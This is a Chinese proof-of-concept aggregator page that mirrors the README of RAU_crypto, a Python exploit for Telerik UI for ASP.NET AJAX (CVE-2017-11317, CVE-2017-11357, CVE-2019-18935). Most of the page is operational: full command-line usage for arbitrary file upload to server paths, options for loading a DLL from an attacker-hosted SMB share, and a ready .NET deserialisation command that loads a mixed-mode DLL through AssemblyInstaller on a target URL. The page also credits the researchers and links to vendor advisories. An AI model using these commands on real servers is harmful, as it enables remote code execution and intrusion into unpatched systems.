POC详情: a75a0df9a6a42b195be37d0321895638287a84aa

来源
关联漏洞
标题: Progress Telerik UI for ASP.NET AJAX 加密问题漏洞 (CVE-2017-11317)
描述:ASP.NET AJAX是一个用于ASP.NET的控件。Progress Telerik UI是美国Telerik公司开发的一个用于处理AJAX的ASP.NET控件的UI(用户界面)。 Progress Telerik UI for ASP.NET AJAX R1 2017之前的版本和R2 2017 SP2之前的R2版本中的Telerik.Web.UI存在安全漏洞,该漏洞源于程序使用较弱的RadAsyncUpload加密。远程攻击者可利用该漏洞上传任意文件或执行任意代码。
描述
Telerik UI for ASP.NET AJAX File upload and .NET deserialisation exploit (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
介绍
# RAU_crypto
[![Language](https://img.shields.io/badge/Lang-Python-blue.svg)](https://www.python.org)

Combined exploit for Telerik UI for ASP.NET AJAX.
- File upload for CVE-2017-11317 and CVE-2017-11357 - will automatically upload the file
- .NET deserialisation for CVE-2019-18935

Now supports testing for the target's ability to pull in remote payloads from an attacker-hosted SMB service. Use Burp Collaborator and/or Responder to facilitate testing whether the necessary pre-requisites are in place.

For exploitation to work, you generally need a version with hard coded keys, or you need to know the key, for example if you can disclose the contents of web.config. The exploit also allows for straightforward decryption and encryption of the rauPostData used with Telerik.Web.UI.WebResource.axd?type=rau

## Requirements
- python >= 3.6 with pycryptodome (https://www.pycryptodome.org/en/latest/src/installation.html) - installed with `pip3 install pycryptodome` or `pip3 install pycryptodomex`

## Published on exploit-db (old version)
- https://www.exploit-db.com/exploits/43874/

## See also
My other Telerik UI exploit (for CVE-2017-9248) will probably also be of interest. It is available here:
- https://github.com/bao7uo/dp_crypto

## To do
- [x] Missing HMAC functionality for later versions.
- [x] Ability to specify custom key.
- [x] Command line argument for execution of a mixed mode dll (in the meantime use the example .NET deserialisation payload provided below).
- [x] Command line arguments for testing capability of and loading remotely (SMB) hosted mixed mode dlls 
- [ ] Separate utility for testing mixed mode dll.
- [x] Provide source code/compilation instructions for mixed mode dll.
- [ ] Brute force versions.

Note - the last four items are complete but not released.

## Vulnerabilities
The file upload (CVE-2017-11317) vulnerability was discovered by others, I believe credits due to @straight_blast @pwntester @olekmirosh . Shortly after it was announced, I encountered the Telerik library during the course of my work, so I researched it and the vulnerability and wrote this exploit in July 2017. I also reported CVE-2017-11357 for the related insecure direct object reference.

https://www.telerik.com/support/kb/aspnet-ajax/upload-%28async%29/details/insecure-direct-object-reference

The .NET deserialisation (CVE-2019-18935) vulnerability was discovered by [@mwulftange]( https://github.com/mwulftange ).

https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization

## Usage
```
$ ./RAU_crypto.py -h

RAU_crypto by Paul Taylor / @bao7uo 
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation

Usage:

Decrypt a ciphertext:               -d ciphertext
Decrypt rauPostData:                -D rauPostData
Encrypt a plaintext:                -e plaintext

Generate file upload rauPostData:   -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file:                        -P c:\\destination\\folder Version c:\\local\\filename url [proxy]

Generate custom payload POST data : -c partA partB
Send custom payload:                -C partA partB url [proxy]

Check remote SMB payload capability -r lhost url [proxy]

Load remote SMB dll payload         -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload  -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +

Example URL:               http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version:           2016.2.504
Example optional proxy:    127.0.0.1:8080

N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS

$
```
## Example - decryption
![Decrypt screenshot](images/decrypt_screenshot.png)

## Example - arbitrary file uplaod
![Upload screenshot](images/upload_screenshot.png)

## Custom payload (.NET deserialisation)

For details on custom payloads for .NET deserialisation, there is a great article by [@mwulftange]( https://github.com/mwulftange ) who discovered this vulnerability on the Code White blog at the following link.

- https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html

Update - There is an alternative exploit by Caleb Gross [@noperator]( https://github.com/noperator/CVE-2019-18935 ), which incorporates features from this exploit, with a great blog article explaining everything. Thanks also to Caleb for contributing to RAU_Crypto.
- https://know.bishopfox.com/research/cve-2019-18935-remote-code-execution-in-telerik-ui

Other relevant links.

- https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
- https://threatvector.cylance.com/en_us/home/implications-of-loading-net-assemblies.html
- https://thewover.github.io/Mixed-Assemblies/

Example .NET deserialisation payload:

```
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
```

For mixed Mode DLL, see my other github repo:
- https://github.com/bao7uo/MixedUp

Special thanks to [@irsdl]( https://github.com/irsdl ) who inspired the custom payload feature.

Credit to [@rwincey]( https://twitter.com/rwincey/status/1296774665239703552 ) who inspired the remote dll feature.
文件快照

[4.0K] /data/pocs/a75a0df9a6a42b195be37d0321895638287a84aa ├── [ 11K] LICENSE ├── [ 18K] RAU_crypto.py └── [5.4K] README.md 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。